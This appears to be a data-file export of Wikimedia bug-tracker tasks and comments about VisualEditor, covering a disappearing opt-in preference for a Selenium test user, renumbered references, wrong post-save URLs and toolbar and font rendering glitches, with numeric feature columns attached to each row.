	on(ResetPreferencesPage).submit_element.click"
262715,VisualEditor opt-in preference disappears,"
this really should not be happening for any test: 

0.2789   6.0M  Start request POST /wiki/Special:Preferences/reset

thanks for pointing that out.",,,1380585639,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-owimzdmbcsatfp52eoa7,task_subcomment,,True,c1,3,False,,,13,,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.8529411764705883,0.8823529411764706,"
this really should not be happening for any test: 

0.2789   6.0M  Start request POST /wiki/Special:Preferences/reset

thanks for pointing that out."
262707,VisualEditor opt-in preference disappears,"What led me to suspect it is:

0.2789   6.0M  Start request POST /wiki/Special:Preferences/reset
HOST: commons.wikimedia.beta.wmflabs.org
HTTP HEADERS:
X-REAL-IP: ....  # Some IP address at saucelabs
X-FORWARDED-PROTO: https
...
REFERER: https://commons.wikimedia.beta.wmflabs.org/wiki/Special:Preferences/reset
COOKIE: ...centralauth_User=Selenium+user .... commonswikiUserName=Selenium+user...


See also ""Update how VisualEditor's experimental config works""  https://gerrit.wikimedia.org/r/#/c/84433/  which got deployed on beta on Sep 18th.


hashar@deployment-bastion:~$ mwscript eval.php --wiki=enwiki
> return $wgDefaultUserOptions['visualeditor-enable'] ;
0
>
$


So you could add an exception in CommonSettings-labs.php or InitialiseSettings-labs.php to override that value for beta and make sure VE is always opted in.",,,1380585248,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-owimzdmbcsatfp52eoa7,task_subcomment,,True,c1,3,True,,,13,,0.5,0.0,0.0,0.5,0.0,3.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,2.0,6.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,2.5,1.0,0.5,0.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,1.0,19.0,1.5,1.5,2.5,0.0,0.0,0.0,0.5,3.5,0.0,1.5,0.0,1.5,6.0,11.5,0.0,1.5,0.0,1.5,0.0,2.0,0.5,0.5,0.0,0.0,0.5,0.0,4.335714285714285,0.75,"What led me to suspect it is:

0.2789   6.0M  Start request POST /wiki/Special:Preferences/reset
HOST: commons.wikimedia.beta.wmflabs.org
HTTP HEADERS:
X-REAL-IP: ....  # Some IP address at saucelabs
X-FORWARDED-PROTO: https
...
REFERER: URL
COOKIE: ...centralauth_User=Selenium+user .... commonswikiUserName=Selenium+user...


See also ""Update how VisualEditor's experimental config works""  URL  which got deployed on beta on Sep 18th.


hashar@deployment-bastion:~$ mwscript eval.php --wiki=enwiki
QUOTE
0
QUOTE
$


So you could add an exception in CommonSettings-labs.php or InitialiseSettings-labs.php to override that value for beta and make sure VE is always opted in."
262698,VisualEditor opt-in preference disappears,"I am wondering, isn't it that the default is to disable the opt-in preference on enwiki now?   Thus if the Selenium test rest the user preference, it would end up opting out of VE :(

Can you try in your test to explicitly set the user preference?",,,1380584760,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-owimzdmbcsatfp52eoa7,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,18.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,5.0,9.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,18.0,5.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.607142857142857,0.75,"I am wondering, isn't it that the default is to disable the opt-in preference on enwiki now?   Thus if the Selenium test rest the user preference, it would end up opting out of VE :(

Can you try in your test to explicitly set the user preference?"
262692,VisualEditor opt-in preference disappears,VisualEditor opt-in preference unset again overnight PDT Sept 27.,,,1380557168,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-owimzdmbcsatfp52eoa7,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,VisualEditor opt-in preference unset again overnight PDT Sept 27.
262686,VisualEditor opt-in preference disappears,"
I have just enabled VE manually in beta labs for Selenium_user. I suspect it will become disabled soon. 

Is it possible that the automatic run of update.php (or whatever updates the db) would un-set that preference?",,,1380292740,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-owimzdmbcsatfp52eoa7,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,11.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,9.0,9.0,7.0,2.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.044444444444444,0.8888888888888888,"
I have just enabled VE manually in beta labs for Selenium_user. I suspect it will become disabled soon. 

Is it possible that the automatic run of update.php (or whatever updates the db) would un-set that preference?"
262679,VisualEditor opt-in preference disappears,"The Selenium_user on enwiki has the following preferences right now:

[""visualeditor-enable""]=> int(0)
[""visualeditor-enable-experimental""]=>  int(1)
[""visualeditor-betatempdisable""]=> int(0)

So VE is actually disabled.

Maybe some test is disabling the option while other set it?   Tests relying on VE should probably set the user preference through the API before the test run.",,,1380262166,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-owimzdmbcsatfp52eoa7,task_subcomment,,True,c1,3,True,,,12,,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,10.0,1.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,6.0,9.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,4.2125,0.6625,"The Selenium_user on enwiki has the following preferences right now:

[""visualeditor-enable""]=> int(0)
[""visualeditor-enable-experimental""]=>  int(1)
[""visualeditor-betatempdisable""]=> int(0)

So VE is actually disabled.

Maybe some test is disabling the option while other set it?   Tests relying on VE should probably set the user preference through the API before the test run."
56654,VisualEditor: (silently) renumbering references,"Sherry describes what happens in this edit, https://en.wikipedia.org/w/index.php?title=Homesickness&diff=573215056&oldid=573214608 :
<<[this edit] is the original problem. It gave all of those references the same ""name"" (""ref name="":4""""), which convinced the software using for viewing pages that they were all the same ref.>>

The original reporter, Christopher Thurber, describes the issue, and provides some hints to reproduce:
<<About half of the 18 references I typed into the article on Homesickness disappeared between yesterday and today. I was certain to follow the Save Changes procedure, but many different references reverted to the same single reference. [...] Same bug today. In VE, I placed the cursor in the text, chose ""Reference"" from the ""More"" menu, added a reference, (It appeared as it should with the appropriate numerical superscript), Saved the work, returned to check the page...references disappeared from the list. - Window 8, Chrome >>.

TeamGale adds:
<<Hello...I have the same problem [...]. I didn't realized that it happened while I was editing. I only saw it when I saved the article and the number of the references had decreased. This https://en.wikipedia.org/w/index.php?title=Michael_Giannatos&diff=next&oldid=573583391 is the change I was doing when it happened. Could it be related to editing a table with beta? Probably not since I don't see any table on Christopher Thurber's article. After I re-added the references and the new table, every time I click ""edit beta"" the refs are gone! Before I even do any change! Basically I can't use beta at all on this article! I don't have any issues using the source but, if it's something simple that can be done with beta, I prefer to do it with it. But I can't. Just wanted to say that this is happening to other articles as well. And it's possible to happen and people don't see it. That would be a problem to a long article with lots of references... Mozilla 21, Windows 8.>>

TeamGale again:
<<[...] every time I am trying to add a reference at a table with VE, it changes it and replaces it with an already existent one. This time I saved the edit just to post it here. https://en.wikipedia.org/w/index.php?title=Dancing_with_the_Stars_%28U.S._season_17%29&diff=prev&oldid=574412488 [...] 
Update: Tables were a coincidence. It happened to me again in main article's text. I didn't save the edit this time...>>

I think I saw this renumbering issue at it.wp as well.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1380214860,1380220185.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-gjqblxpe4th4o7zcpret,task_description,resolved,True,c1,3,False,False,True,12,,1.6666666666666667,0.16666666666666666,0.0,0.5,1.3333333333333333,4.0,0.8333333333333334,0.0,0.0,0.16666666666666666,1.1666666666666667,1.1666666666666667,0.0,0.16666666666666666,0.0,4.0,0.16666666666666666,4.5,8.5,0.16666666666666666,1.3333333333333333,0.16666666666666666,0.3333333333333333,0.0,5.333333333333333,0.16666666666666666,0.0,0.0,0.3333333333333333,0.16666666666666666,0.3333333333333333,3.6666666666666665,1.1666666666666667,2.8333333333333335,1.0,0.0,0.16666666666666666,0.16666666666666666,0.0,0.16666666666666666,0.0,0.16666666666666666,0.8333333333333334,0.3333333333333333,0.0,0.16666666666666666,0.16666666666666666,0.0,0.3333333333333333,12.833333333333334,0.5,1.1666666666666667,0.0,0.5,0.0,0.0,0.16666666666666666,0.16666666666666666,0.3333333333333333,0.0,0.8333333333333334,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,6.166666666666667,2.1666666666666665,11.5,1.3333333333333333,1.6666666666666667,9.333333333333334,0.0,0.0,0.5,0.0,2.6666666666666665,0.16666666666666666,0.8333333333333334,0.0,7.0,8.5,3.0,0.16666666666666666,1.8333333333333333,0.0,7.0,0.0,0.8333333333333334,1.3333333333333333,0.16666666666666666,1.5,0.16666666666666666,0.16666666666666666,4.5,3.6048961953131964,0.6942662389735365,"Sherry describes what happens in this edit, URL :
<<[this edit] is the original problem. It gave all of those references the same ""name"" (""ref name="":4""""), which convinced the software using for viewing pages that they were all the same ref.>>

The original reporter, Christopher Thurber, describes the issue, and provides some hints to reproduce:
<<About half of the 18 references I typed into the article on Homesickness disappeared between yesterday and today. I was certain to follow the Save Changes procedure, but many different references reverted to the same single reference. [...] Same bug today. In VE, I placed the cursor in the text, chose ""Reference"" from the ""More"" menu, added a reference, (It appeared as it should with the appropriate numerical superscript), Saved the work, returned to check the page...references disappeared from the list. - Window 8, Chrome >>.

TeamGale adds:
<<Hello...I have the same problem [...]. I didn't realized that it happened while I was editing. I only saw it when I saved the article and the number of the references had decreased. This URL is the change I was doing when it happened. Could it be related to editing a table with beta? Probably not since I don't see any table on Christopher Thurber's article. After I re-added the references and the new table, every time I click ""edit beta"" the refs are gone! Before I even do any change! Basically I can't use beta at all on this article! I don't have any issues using the source but, if it's something simple that can be done with beta, I prefer to do it with it. But I can't. Just wanted to say that this is happening to other articles as well. And it's possible to happen and people don't see it. That would be a problem to a long article with lots of references... Mozilla 21, Windows 8.>>

TeamGale again:
<<[...] every time I am trying to add a reference at a table with VE, it changes it and replaces it with an already existent one. This time I saved the edit just to post it here. URL [...] 
Update: Tables were a coincidence. It happened to me again in main article's text. I didn't save the edit this time...>>

I think I saw this renumbering issue at it.wp as well.

--------------------------
**Version**: unspecified
**Severity**: normal"
261880,VisualEditor: (silently) renumbering references,"Yeah, this was a bad bug - bug 54341. We fixed it on Tuesday, and back-ported it to production yesterday, so this shouldn't happen again; sorry!

*** This bug has been marked as a duplicate of bug 54341 ***",,,1380220185,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-gjqblxpe4th4o7zcpret,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,8.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,4.0,9.0,0.0,0.0,2.0,0.0,2.0,2.0,4.0,0.0,6.0,8.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.188679245283019,0.7169811320754716,"Yeah, this was a bad bug - bug 54341. We fixed it on Tuesday, and back-ported it to production yesterday, so this shouldn't happen again; sorry!

*** This bug has been marked as a duplicate of bug 54341 ***"
56645,VisualEditor: Section-editing lands user at wrong URL post-save,"After successfully section-editing <https://en.wikipedia.org/w/index.php?title=Black_Mail_%281973_film%29&section=2&veaction=edit> using VisualEditor, I land at <https://en.wikipedia.org/w/index.php?title=Black_Mail_%281973_film%29&section=2>.

This shouldn't happen. &section=2 doesn't do anything with the implicit &action=view.

Possibly related to bug 53089.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1380209340,1392058252.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-xrx5soggiup6jgpqpzkt,task_description,resolved,True,c1,3,False,False,False,12,,0.0,2.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,7.0,7.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,7.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,4.033333333333333,0.7166666666666667,"After successfully section-editing <URL using VisualEditor, I land at <URL

This shouldn't happen. &section=2 doesn't do anything with the implicit &action=view.

Possibly related to bug 53089.

--------------------------
**Version**: unspecified
**Severity**: normal"
261229,VisualEditor: Section-editing lands user at wrong URL post-save,"

*** This bug has been marked as a duplicate of bug 53089 ***",,,1392058252,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xrx5soggiup6jgpqpzkt,task_subcomment,,True,c1,3,True,,,32,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 53089 ***"
56642,"VisualEditor: Right half of toolbar disappears when image caption on first line contains ""page "" followed by any string","When an image caption on the first line of a page contains the string ""page "" (including the trailing space) followed by any text the right half of the VisualEditor toolbar disappears (everything right of ""more""). This includes the save button so edits cannot be saved (hence the ""major"" severity)

This is likely related to either bug 54379 (same symptoms) or bug 53312 (same trigger).

Comments on the VE/F report at https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=574608525#Odd_one suggest this might be restricted to FireFox.

Minimal test: https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox4&oldid=574608905
Real-world example: https://en.wikipedia.org/w/index.php?title=Clarke,_Irwin_%26_Company&oldid=574526057

To reproduce:
1. Create a page with any image on the first line of page
2. Give the image a caption containing the string ""page "" (including the trailing space) followed by any text.
3. Save the page
4. Load the page in VE and observe the right half of the editing toolbar.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53312
https://bugzilla.wikimedia.org/show_bug.cgi?id=54379",Needs Triage,90.0,1380206280,1393531206.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-kvr63y5we4pdqpvagdka,task_description,resolved,True,c1,3,False,False,False,12,,1.0,0.3333333333333333,0.0,1.0,0.3333333333333333,4.333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,6.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,1.6666666666666667,1.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,14.666666666666666,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,7.666666666666667,1.0,9.666666666666666,0.6666666666666666,1.0,9.666666666666666,0.0,0.0,0.0,0.0,4.0,0.0,1.3333333333333333,0.0,0.0,6.0,2.6666666666666665,0.0,3.0,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,2.0,0.3333333333333333,0.0,0.6666666666666666,3.53158953722334,0.6645875251509055,"When an image caption on the first line of a page contains the string ""page "" (including the trailing space) followed by any text the right half of the VisualEditor toolbar disappears (everything right of ""more""). This includes the save button so edits cannot be saved (hence the ""major"" severity)

This is likely related to either bug 54379 (same symptoms) or bug 53312 (same trigger).

Comments on the VE/F report at URL suggest this might be restricted to FireFox.

Minimal test: URL
Real-world example: URL

To reproduce:
1. Create a page with any image on the first line of page
2. Give the image a caption containing the string ""page "" (including the trailing space) followed by any text.
3. Save the page
4. Load the page in VE and observe the right half of the editing toolbar.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL
URL"
261129,"VisualEditor: Right half of toolbar disappears when image caption on first line contains ""page "" followed by any string","As far as I can tell this was fixed when bug 53312 was fixed (and for the same reason).

*** This bug has been marked as a duplicate of bug 53312 ***",,,1393531206,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kvr63y5we4pdqpvagdka,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,8.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.975,0.725,"As far as I can tell this was fixed when bug 53312 was fixed (and for the same reason).

*** This bug has been marked as a duplicate of bug 53312 ***"
261123,"VisualEditor: Right half of toolbar disappears when image caption on first line contains ""page "" followed by any string","Can't reproduce on Chrome, looks like Ff issue.",,,1380222773,,PHID-USER-ttyyrgsrkyonct7hizgv,False,,,PHID-TASK-kvr63y5we4pdqpvagdka,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,1.0,"Can't reproduce on Chrome, looks like Ff issue."
261119,"VisualEditor: Right half of toolbar disappears when image caption on first line contains ""page "" followed by any string","There may be regression involved with this: The toolbar presented properly with the ""page "" string included in the first line for several VE edits over August and September, then the problem was observed Sept. 25.  No change in machine, OS, or browser at the time.",,,1380216001,,PHID-USER-ttyyrgsrkyonct7hizgv,False,,,PHID-TASK-kvr63y5we4pdqpvagdka,task_subcomment,,True,c1,3,False,,,12,,2.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,15.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,13.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.055555555555555,0.8333333333333334,"There may be regression involved with this: The toolbar presented properly with the ""page "" string included in the first line for several VE edits over August and September, then the problem was observed Sept. 25.  No change in machine, OS, or browser at the time."
56636,wikitech.wikimedia.org needs to have VE enabled,"'coz I likes it.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1380197400,1380217469.0,PHID-USER-2nnm76h4ykalvvref2ye,False,,False,PHID-TASK-pv364hftdbapyxednn7m,task_description,invalid,True,c1,3,False,False,True,12,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6956521739130435,0.6086956521739131,"'coz I likes it.

--------------------------
**Version**: unspecified
**Severity**: normal"
260743,wikitech.wikimedia.org needs to have VE enabled,"(In reply to comment #2)
> So there was ' Enable VisualEditor (only in the main and user namespaces)'
> and
> ' Temporarily disable VisualEditor while it is in beta' in preferences, and
> they were both unchecked.
Hah, I wasn't aware it was possible to have both preferences visible at once. That's probably a bug. Either way, you need to both have the ""enable"" box checked and have the ""disable"" box unchecked.",,,1380248015,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-pv364hftdbapyxednn7m,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,2.0,10.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,8.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,14.0,0.0,2.0,11.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,5.0,8.0,6.0,0.0,6.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.3015873015873014,0.6666666666666666,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
Hah, I wasn't aware it was possible to have both preferences visible at once. That's probably a bug. Either way, you need to both have the ""enable"" box checked and have the ""disable"" box unchecked."
260737,wikitech.wikimedia.org needs to have VE enabled,"So there was ' Enable VisualEditor (only in the main and user namespaces)' and ' Temporarily disable VisualEditor while it is in beta' in preferences, and they were both unchecked.",,,1380247009,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-pv364hftdbapyxednn7m,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,8.0,6.0,0.0,0.0,0.0,8.0,11.0,0.0,3.0,3.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,14.0,3.0,8.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,11.0,3.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.194444444444445,0.7777777777777778,"So there was ' Enable VisualEditor (only in the main and user namespaces)' and ' Temporarily disable VisualEditor while it is in beta' in preferences, and they were both unchecked."
260731,wikitech.wikimedia.org needs to have VE enabled,It already does...,,,1380217469,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-pv364hftdbapyxednn7m,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,It already does...
56614,"VisualEditor: Linux font stack sometimes lies about font width, leading to odd wrapping of text in format menu","subhead shows ""2"" in the wrong place

seen in Firefox not in Chrome:  

choose some text and pick a headings format.  Subheads with numbers show the number below the selectbox.  see screen shot.

--------------------------
**Version**: unspecified
**Severity**: normal

